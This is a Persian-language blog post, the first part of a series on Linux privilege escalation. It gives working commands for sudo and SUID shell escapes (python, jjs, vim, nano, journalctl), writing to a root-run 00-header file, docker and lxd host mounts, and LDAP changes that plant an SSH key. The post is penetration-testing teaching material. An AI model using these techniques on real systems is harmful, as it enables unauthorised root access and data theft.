ویرگول
ورودثبت نام
rezaduty
rezaduty
خواندن ۵ دقیقه·۴ سال پیش

روش های ارتقاء دسترسی در لینوکس - قسمت ۱

یکی از مهم ترین کارها بعد از نفوذ به سرور و در اختیار گرفتن دسترسی کاربر عادی، ارتقاء دسترسی و یا مجوز دسترسی به اطلاعات سایر کاربران است.

ما در لینوکس روش های مختلف و خلاقانه ای داریم که در چند پست قسمت خیلی کوچکی از این روش ها را بررسی می کنیم.

در این آموزش ها ما سه روش تغییر دسترسی در لینوکس را بررسی می کنیم.

در روش اول به صورت کلی برای تغییر دسترسی ما تلاش می کنیم فایلی را که دارای مجوز مشخص است را پیدا(A) و فایل های دیگر را که با فایل دارای مجوز درارتباط هستند را به نحوی تغییر دهیم(B) که در هنگام اجرا توسط فایل دارای مجوز دسترسی ما ارتقا پیدا کند.

A(B)

از نمونه های این روش می توان استفاده از sudoer و suid و docker اشاره نمود.

در روش دوم با استفاده از مفاهیم سیستم عامل و کتابخانه های مورد استفاده برنامه های سعی می کنیم دسترسی خود را تغییر دهیم.

از نمونه های این روش می توان به استفاده از rope و heap و stack اشاره نمود.

در روش سوم هم با استفاده از قابلیت های کرنل و برنامه های مرتبط با آن و آسیب پذیری های شناخته شده آن سعی می کنیم دسترسی خود را ارتقا ببخشیم.

از نمونه های این روش هم می توان به آسیب پذیری sudo با کد CVE-2019-14287 و یا آسیب پذیری در systemctl با کد CVE-2018-19788 اشاره نمود.

تعیین نادرست sudoer

همانطور که می دانیم کاربرانی که حق اجرای دستور sudo دارند sudoer نامیده و حق اجرای موارد مشخص شده در فایل /etc/sudoers را با دسترسی مدیر سیستم دارند.

برای بررسی این فایل می توانیم از دستور sudo -l استفاده کنیم.

برای مثال فرض کنید حق اجرای python در فایل sudoers به صورت زیر برای کاربر demo در نظر گرفته شده است.

demo All=(ALL) NOPASSWD: /usr/bin/python

خب مشخصا کاربر demo می تواند به این شکل در python دسترسی خود را به root ارتقاء و دستورات را با دسترسی root اجرا کنید.

python -c 'import os;os.system(&quotid&quot)'

نمونه ای دیگر در زبان java به این شکل خواهد بود.

در صورت اجرا فایل jjs در مسیر /usr/lib/jvm/java-11-openjdk-amd64/bin/

Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p /dev/pts/0 2>/dev/pts/0').waitFor()

در مثالی دیگر فرض کنید ویرایشگر های vim و nano قابلیت اجرا تحت sudo را دارند.

برای ارتقاء دسترسی در vim به شکل زیر عمل می کنیم.

:set shell=/bin/sh
:shell

همچنین برای ارتقاء دسترسی در nano هم به شکل زیر عمل می کنیم.

^R^X
reset; sh 1>&0 2>&0

تعیین نادرست SUID

در لینوکس ما قابلیت تنظیم مجوز برای فایلی مشخص را برای اجرای تحت کاربر خاص داریم.

این تنظیم مجوز با suid انجام می شود.

برای مثال اگر suid فایلی ۴۰۰۰ باشد ما می توانیم به واسطه آن فایل دسترسی خود را تغییر دهیم.

برای پیدا نمودن فایل های با مجوز ۴۰۰۰ از دستور زیر استفاده می کنیم.

find / -uid 0 -perm -4000 -type f 2>/dev/null

بعد از پیدا نمودن فایل دارای مجوز، فایل اجرایی را توسط کاربر اجرا و از مجوز های آن به نحو احسنت استفاده می کنم.

برای مثال فرض کنید journalctl دارای suid است.

کافی است است بعد از اجرا، شل را فراخوانی کنیم.

!/bin/sh

در روش دیگر فایلی وجود دارد که سیستمی است ولی قابل نوشتن یا writable است.

برای پیدا نمودن فایل های writable از دستور زیر استفاده می کنیم.

find / -writable ! -user whoami -type f ! -path “/proc/” ! -path “/sys/” -exec ls -al {} \; 2>/dev/null

حال فرض کنید فایل header-00 قابلیت نوشتن دارد.

فایل 00-header هنگام ورود با ssh اجرا و banner مشخص شده را نمایش می دهدبرای مثال برای خوش آمد گوشیی که کاربر می تواند مورد استفاده قرار بگیرد.

این فایل به صورت پیش فرض تحت root اجرا و برای کاربران قابل شخصی سازی است. برای ارتقاء دسترسی توسط این فایل می توانیم passwd را بخوانیم.

echo &quotcat /root/root.txt&quot >> 00-header

بنابر این بعد از ورود به سیستم توسط کاربر در اختیار گرفته شده فایل محتوای 00-header چاپ و فایل passwd خوانده می شود.

افزایش دسترسی در docker

اگر سرویس docker توسط کاربر بدون احراز هویت قابل اجرا و یا کاربر عضو گروه docker و توانایی راه اندازی سرویس را داشته باشد ما می توانیم container را از root در mnt به صورت زیر اصطلاح mount کنیم.

docker run -v /root:/mnt -it ubuntu

همچنین می توانیم از دستور زیر هم استفاده کنیم.

docker run --rm -it --privileged nginx bash mkdir /mnt/fsroot mount /dev/sda /mnt/fsroot

افزایش دسترسی با lxd

ابتدا با استفاده از دستورات زیر نسخه از lxd به اصطلاح build می کنیم.

git clone https://github.com/saghul/lxd-alpine-builder.git
./build-alpine

سپس در سیستم هدف image را دریافت و سپس دستورات زیر را به ترتیب اجرا می کنیم.

import ./alpine-v3.12-x86_64-20200621_2005.tar.gz --alias attacker
lxc init attacker tester -c security.privileged=true
lxc exec tester/bin/sh

افزایش دسترسی با ldap

ابتدا باید ssh را با استفاده از ldap فعال کنیم برای اینکار ابتدا دستور زیر را اجرا

ldapmodify -x -w PASSWORD

سپس محتوای زیر را با توجه به مشخصات سرور در آن قرار دهید.

dn: cn=openssh-lpk,cn=schema,cn=config objectClass: olcSchemaConfig cn: openssh-lpk olcAttributeTypes: ( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME 'sshPublicKey' DESC 'MANDATORY: OpenSSH Public key' EQUALITY octetStringMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 ) olcObjectClasses: ( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME 'ldapPublicKey' SUP top AUXILIARY DESC 'MANDATORY: OpenSSH LPK objectclass' MAY ( sshPublicKey $ uid ) )

بعد از فعال سازی ssh حال برای ارتقا دسترسی دستور زیر را اجرا

ldapmodify -x -w PASSWORD

و سپس محتوای زیر را با توجه به مشخصات کاربر و گروه کاربر هدف و کلید id_rsa خود، تغییر و قرار می دهیم.

dn: uid=UID,ou=users,ou=linux,ou=servers,dc=DC,dc=DC
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey sshPublicKey: content of id_rsa.pub
-
replace: EVIL GROUP ID uidNumber: CURRENT USER ID
-
replace: EVIL USER ID gidNumber: CURRENT GROUP ID


امنیت سایبریتست نفوذلینوکسارتقا دسترسیprivilege escalation
به نام خداوندی که به آدمی آنچه را که نمی‌دانست تعلیم داد.
شاید از این پست‌ها خوشتان بیاید